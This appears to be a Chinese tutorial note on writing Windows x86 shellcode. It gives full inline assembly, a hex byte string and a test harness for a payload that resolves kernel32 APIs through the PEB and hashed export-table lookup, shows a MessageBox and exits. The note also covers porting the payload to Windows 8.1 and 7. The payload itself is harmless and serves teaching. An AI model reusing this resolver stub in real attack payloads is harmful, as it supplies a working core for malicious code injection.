1.最简单的不考虑平台性等等问题

HANDLE libHandle;
char dllbuf[22] = "user32.dll";
libHandle = LoadLibraryA(dllbuf);

__asm
{
sub esp, 0x440
xor ebx, ebx

//下面3条代码是为了构建字符串, ebx=0是为了作为字符串的NULL结尾字节, 此时通过esp作为字符串参数传递目标函数即可使用freesec这个字符串
push ebx
push 0x636573 // sec
push 0x65657266 //free

mov eax,esp
push ebx  //0
push eax   //字符串freesec
push eax
push ebx  //0
mov eax ,0x77d804ea //MessageBoxA的地址
call eax  //MessageBoxA 调用
push ebp
mov eax,0x7c81cdda  //exit()的地址
call eax   //退出程序
}

return 0;

这里主要学会了如何在shellcode中构建字符串和使用字符串

 

2.在xp及2003 server 动态定位API

 不同的操作系统版本,打补丁的版本会使得各个系统dll中的代码,数据等信息. 所以函数地址直接硬编码肯定不行.需要动态获得API地址

获取kernel32.dll的API地址原理:

(1) fs段寄存器(段选择子)可以找到当前线程环境块 TEB

(2) 线程环境块偏移0x30的地方存放着指向进程环境块PEB的指针

(3) 进程环境块偏移0xc地方存放指向PEB_LDR_DATA结构体指针,其中存放着已经被进程装载的动态链接库的信息

(4) PEB_LDR_DATA结构偏移0x1c存放着指向模块初始化链表头指针InInitializationOrderModuleList

(5) InInitializationOrderModuleList中按顺序存放着pe装入时模块信息. 第一个是ntdll.dll , 第2个是kernel32.dll. 然后在偏移0x8字节使其加载基址

(6) 然后通过pe文件基址找到导出表即可

 

通过导出表获取API地址需要对API名称字符串进行对比,但是直接使用字符串对比会使得shellcode过于长. 因此考虑使用计算hash值进行比较.如下代码

unsigned int hash(char* funcName)
{
unsigned int val = 0;
while (*funcName)
{
val = ((val << 16) | (val >> 16)) + (unsigned int)*funcName; //对函数名每个字符的ascii值循环右移16bit,注意设计的hash函数计算结果

不能存在某个字节是0, 因为 00会截断字符串
funcName++;
}
return val;
}

 

移位指令和累加都比较简单,只要先计算好想要加载的api的hash值,然后通过对导入表中的api计算其hash值,最后对2者相比即可

经计算得:

MessageBoxA 's hash is 01F90236

LoadLibraryA 's hash is 02350261

ExitProcess 's hash is 02340245

 

然后汇编代码:

    __asm
    {
        cld; clear DF flag
        //压栈时注意将同一个dll中的API放在一起进行压栈,这样可以方便切换dll基址,节约代码量
        //LoadLibraryA必须先获取到并保存,后面加载模块时还会用到
        push 0x01F90236; MessageBoxA's hash
        push 0x02340245; ExitProcess's hash
        push 0x02350261; LoadLibraryA's hash
        mov esi, esp;获取hash值地址到esi
        lea edi, [esi - 0xc];
        //现有的重要寄存器:esi指向3个API的hash的地址,edi指向hash值的地址下方0xc处目的是为了保存3个
        //API的真正地址

        xor ebx, ebx; ebx = 0
        mov bh,0x04
        sub esp, ebx; 开辟栈空间


        mov bx, 0x3233
        push ebx

        push 0x72657375  //"user32"
        push esp
        xor edx, edx//edx=0


        mov ebx, fs:[edx + 0x30];ebx指向peb
        mov ecx,[ebx+0x0c]
        mov ecx,[ecx+0x1c]//ecx为模块链表头指针,即ecx值为ntdll所属的链表节点的地址
        mov ecx,[ecx]        //链表节点前4字节存储下一个节点地址,赋值给了ecx
        mov ebp,[ecx+0x08]//偏移8处为该模块的基址即kernel32.dll基址
        //此时就esp,ebp,esi,edi有用,其他寄存器可以修改.edx=0,可以直接用


find_lib_functions:
        lodsd //将dword大小的数据从esi写到eax中,此时df是置位的,并增加esi指向下一个dword.实际上就是一个一个地获取APIhash
        cmp eax, 0x01F90236 //以之前对APIhash压栈的模块顺序的第一个API进行比较,方便模块切换
        jnz find_functions

        //下面2个xchg指令是交换2个寄存器值,当执行到该处时eax是当前要获取的API,保存到ebp中防止被loadlibrary
        //函数修改,因为执行到这里说明要切换dll了,所以ebp刚好又通过返回值更新了
        xchg eax,ebp
        call [edi-0x8]
        xchg eax,ebp
        //此时,esp,ebp,eax,edi,esi是重要寄存器
find_functions:
        //此时各寄存器作用:eax=目标函数名,ebx无,ecx无,edx=0,ebp=dll基址,esi=hash,edi=获取的API地址
        pushad
        mov eax,[ebp+0x3c]//eax=peHead=nthead
        mov ecx,[ebp+eax+0x78]//nthead+0x78=导出表rva
        add ecx,ebp    //这里在内存中,可以直接用基址加上rva得到导出表绝对地址
        mov ebx, [ecx+0x20]    //得到存储名字的数组的rva,数组存的是名字字符串地址rva
        add ebx,ebp        //得到绝对地址
        xor edi,edi        
        //edi作为该数组索引,ebx作为数组基址,esi存储API字符串,eax作为字符串的单个字符串,edx作为临时的hash

next_function_loop:
        inc edi
        mov esi,[ebx+edi*4]    //将地址rva存放到esi
        add esi,ebp        //获取绝对地址
        cdq            //因为eax在这里不会>f0000000 所以edx的每一bit都是0.其实就是将edx赋值为0,因为
                    //后续代码会将edx作为hash的临时保存, 所以在计算hash前需要清0

hash_loop:
        movsx eax,byte ptr [esi]    
        cmp al,ah    //当到字符串结尾时al=0,ah此时是0,就进行比较,否则继续计算hash
        jz compare_hash//edx保存着hash值
        ror edx ,16
        add edx,eax
        inc esi
        jmp hash_loop

compare_hash:
        cmp edx,[esp+0x1c]
        jnz next_function_loop

        //找到该函数后进行的操作
        mov ebx,[ecx+0x24] //将ebx指向导出索引表即orginal table
        add ebx, ebp

        mov di, [ebx + 2 * edi]//找到对应序号
        mov ebx, [ecx + 0x1c] //将ebx指向导出地址表,寻找真正的函数地址
        add ebx, ebp
        add ebp, [ebx + 4 * edi]//将函数地址存放到ebp
        xchg eax, ebp    //又存放到eax
        pop edi//弹出原来的edi,即获取到的api地址缓存. 因为pushad将edi最后压栈的
        stosd//将eax赋值给edi并且edi增加一个dword大小
        push edi//重新保存edi
        popad
        cmp eax, 0x01F90236 //判断是否是最后一个要获取的函数,是的话就进行函数调用了
        jne find_lib_functions

function_call:
        xor ebx, ebx
        push ebx
        push 0x636573 // sec
        push 0x65657266  //free

        mov eax, esp
        push ebx
        push eax
        push eax
        push ebx

        call [edi-0x4]
        push ebx
        call [edi-0x8]
        nop
        nop
    }

二进制数据为:

"\xFC\x68\x36\x02\xF9\x01\x68\x45\x02\x34\x02\x68\x61\x02\x35\x02"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x36\x02\xF9\x01\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x33\xD2\x0F\xBE\x06"
"\x3A\xC4\x74\x08\xC1\xCA\x10\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C"
"\x75\xE3\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD"
"\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x36\x02\xF9\x01\x75\xA8\x33"
"\xDB\x53\x68\x73\x65\x63\x00\x68\x66\x72\x65\x65\x8B\xC4\x53\x50"
"\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

测试程序:

// ts.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"

char shellcode[]=
"\xFC\x68\x36\x02\xF9\x01\x68\x45\x02\x34\x02\x68\x61\x02\x35\x02"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x36\x02\xF9\x01\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x33\xD2\x0F\xBE\x06"
"\x3A\xC4\x74\x08\xC1\xCA\x10\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C"
"\x75\xE3\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD"
"\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x36\x02\xF9\x01\x75\xA8\x33"
"\xDB\x53\x68\x73\x65\x63\x00\x68\x66\x72\x65\x65\x8B\xC4\x53\x50"
"\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int _tmain(int argc, _TCHAR* argv[])
{
  __asm
  {
    xor eax,eax
    lea eax,[eax+shellcode]
    push eax
    ret
  }
  return 0;
}

如图:

 

 

 

解决shellcode在高版本windows平台系统兼容性

将上述shellcode在win8.1 64机器上无法运行

经过调试发现: (在cdq处下条件记录断点)

00401079 COND: func name= = LCIDToLocaleName
00401079 COND: func name= = LCMapStringA
00401079 COND: func name= = LCMapStringEx
00401079 COND: func name= = LCMapStringW
00401079 COND: func name= = LeaveCriticalPolicySectionInternal
00401079 COND: func name= = LeaveCriticalSection
00401079 COND: func name= = LeaveCriticalSectionWhenCallbackReturns
00401079 COND: func name= = LoadAppInitDlls
00401079 COND: func name= = LoadLibraryExA
00401079 COND: func name= = LoadLibraryExW
00401079 COND: func name= = LoadResource
00401079 COND: func name= = LoadStringA
00401079 COND: func name= = LoadStringBaseExW
00401079 COND: func name= = LoadStringByReference
00401079 COND: func name= = LoadStringW
00401079 COND: func name= = LocalAlloc

有这个LoadLibraryExA 而没有了LoadLibraryA

因此将代码中的LoadLibraryA 的hash改为LoadLibraryExA的hash 并修改传递的参数

修改后代码如下: 

    __asm
    {
        cld; clear DF flag
        //压栈时注意将同一个dll中的API放在一起进行压栈,这样可以方便切换dll基址,节约代码量
        //LoadLibraryA必须先获取到并保存,后面加载模块时还会用到
        push 0x01F90236; MessageBoxA's hash
        push 0x02340245; ExitProcess's hash
        //push 0x02350261; LoadLibraryA's hash
        push 0x02AD02A6; LoadLibraryExA's hash
        mov esi, esp; 获取hash值地址到esi
        lea edi, [esi - 0xc];
        //现有的重要寄存器:esi指向3个API的hash的地址,edi指向hash值的地址下方0xc处目的是为了保存3个
        //API的真正地址

        xor ebx, ebx; ebx = 0
            mov bh, 0x04
            sub esp, ebx; 开辟栈空间

            xor edx, edx//edx=0
            mov bx, 0x3233
            push ebx
            push 0x72657375  //"user32"
            mov ebx,esp
            push edx        //LoadLibraryExA 第3个参数, 设为0
            push edx        //LoadLibraryExA 第2个参数, 设为0
            push ebx        //LoadLibraryExA 第1个参数, 即为user32.dll




            mov ebx, fs:[edx + 0x30]; ebx指向peb
            mov ecx, [ebx + 0x0c]
            mov ecx, [ecx + 0x1c]//ecx为模块链表头指针,即ecx值为ntdll所属的链表节点的地址
            mov ecx, [ecx]        //链表节点前4字节存储下一个节点地址,赋值给了ecx
            mov ebp, [ecx + 0x08]//偏移8处为该模块的基址即kernel32.dll基址
                                    //此时就esp,ebp,esi,edi有用,其他寄存器可以修改.edx=0,可以直接用


            find_lib_functions:
        lodsd //将dword大小的数据从esi写到eax中,此时df是置位的,并增加esi指向下一个dword.实际上就是一个一个地获取APIhash
            cmp eax, 0x01F90236 //以之前对APIhash压栈的模块顺序的第一个API进行比较,方便模块切换
            jnz find_functions

            //下面2个xchg指令是交换2个寄存器值,当执行到该处时eax是当前要获取的API,保存到ebp中防止被loadlibrary
            //函数修改,因为执行到这里说明要切换dll了,所以ebp刚好又通过返回值更新了
            xchg eax, ebp
            call[edi - 0x8]
            xchg eax, ebp
            //此时,esp,ebp,eax,edi,esi是重要寄存器
            find_functions :
        //此时各寄存器作用:eax=目标函数名,ebx无,ecx无,edx=0,ebp=dll基址,esi=hash,edi=获取的API地址
        pushad
            mov eax, [ebp + 0x3c]//eax=peHead=nthead
            mov ecx, [ebp + eax + 0x78]//nthead+0x78=导出表rva
            add ecx, ebp    //这里在内存中,可以直接用基址加上rva得到导出表绝对地址
            mov ebx, [ecx + 0x20]    //得到存储名字的数组的rva,数组存的是名字字符串地址rva
            add ebx, ebp        //得到绝对地址
            xor edi, edi
            //edi作为该数组索引,ebx作为数组基址,esi存储API字符串,eax作为字符串的单个字符串,edx作为临时的hash

            next_function_loop :
        inc edi
            mov esi, [ebx + edi * 4]    //将地址rva存放到esi
            add esi, ebp        //获取绝对地址
            cdq            //因为eax在这里不会>f0000000 所以edx的每一bit都是0.其实就是将edx赋值为0,因为
                            //后续代码会将edx作为hash的临时保存, 所以在计算hash前需要清0
            hash_loop :
        movsx eax, byte ptr[esi]
            cmp al, ah    //当到字符串结尾时al=0,ah此时是0,就进行比较,否则继续计算hash
            jz compare_hash//edx保存着hash值
            ror edx, 16
            add edx, eax
            inc esi
            jmp hash_loop

            compare_hash :
        cmp edx, [esp + 0x1c]
            jnz next_function_loop

            //找到该函数后进行的操作
            mov ebx, [ecx + 0x24] //将ebx指向导出索引表即orginal table
            add ebx, ebp

            mov di, [ebx + 2 * edi]//找到对应序号
            mov ebx, [ecx + 0x1c] //将ebx指向导出地址表,寻找真正的函数地址
            add ebx, ebp
            add ebp, [ebx + 4 * edi]//将函数地址存放到ebp
            xchg eax, ebp    //又存放到eax
            pop edi//弹出原来的edi,即获取到的api地址缓存. 因为pushad将edi最后压栈的
            stosd//将eax赋值给edi并且edi增加一个dword大小
            push edi//重新保存edi
            popad
            cmp eax, 0x01F90236 //判断是否是最后一个要获取的函数,是的话就进行函数调用了
            jne find_lib_functions

            function_call :
        xor ebx, ebx
            push ebx
            push 0x636573 // sec
            push 0x65657266  //free

            mov eax, esp
            push ebx
            push eax
            push eax
            push ebx

            call[edi - 0x4]
            push ebx
            call[edi - 0x8]
            nop
            nop
    }

 

win8.1 64位测试:

 

win7 64位机测试: